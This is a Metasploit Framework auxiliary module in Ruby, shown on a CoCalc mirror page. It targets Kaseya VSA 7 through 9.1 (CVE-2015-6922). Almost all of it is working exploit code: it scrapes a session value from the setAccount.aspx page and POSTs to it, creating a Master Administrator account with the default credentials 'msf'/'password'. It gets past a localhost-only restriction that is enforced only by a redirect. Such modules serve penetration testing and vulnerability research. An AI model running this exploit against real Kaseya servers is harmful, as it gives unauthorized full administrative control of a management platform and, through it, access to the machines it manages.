Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/kaseya_master_admin.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Kaseya VSA Master Administrator Account Creation',
15
'Description' => %q{
16
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
17
Master Administrator account. Normally this page is only accessible via the localhost
18
interface, but the application does nothing to prevent this apart from attempting to
19
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
20
v9.0.0.3.
21
},
22
'Author' => [
23
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
24
],
25
'License' => MSF_LICENSE,
26
'References' => [
27
['CVE', '2015-6922'],
28
['ZDI', '15-448'],
29
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Kaseya/kaseya-vsa-vuln-2.txt'],
30
['URL', 'https://seclists.org/bugtraq/2015/Sep/132']
31
],
32
'DisclosureDate' => '2015-09-23',
33
'Notes' => {
34
'Stability' => [CRASH_SAFE],
35
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
36
'Reliability' => []
37
}
38
)
39
)
40
41
register_options(
42
[
43
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
44
OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
45
OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
46
OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])
47
]
48
)
49
end
50
51
def run
52
res = send_request_cgi({
53
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
54
'method' => 'GET'
55
})
56
57
if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
58
session_val = ::Regexp.last_match(1)
59
else
60
print_error('Failed to get sessionVal')
61
return
62
end
63
64
print_status("Got sessionVal #{session_val}, creating Master Administrator account")
65
66
res = send_request_cgi({
67
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
68
'method' => 'POST',
69
'vars_post' => {
70
'sessionVal' => session_val,
71
'adminName' => datastore['KASEYA_USER'],
72
'NewPassword' => datastore['KASEYA_PASS'],
73
'confirm' => datastore['KASEYA_PASS'],
74
'adminEmail' => datastore['EMAIL'],
75
'setAccount' => 'Create'
76
}
77
})
78
79
unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
80
print_error('Master Administrator account creation failed')
81
return
82
end
83
84
print_good("Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
85
86
connection_details = {
87
module_fullname: fullname,
88
username: datastore['KASEYA_USER'],
89
private_data: datastore['KASEYA_PASS'],
90
private_type: :password,
91
workspace_id: myworkspace_id,
92
access_level: 'Master Administrator',
93
status: Metasploit::Model::Login::Status::UNTRIED
94
}.merge(service_details)
95
create_credential_and_login(connection_details)
96
end
97
end
98
99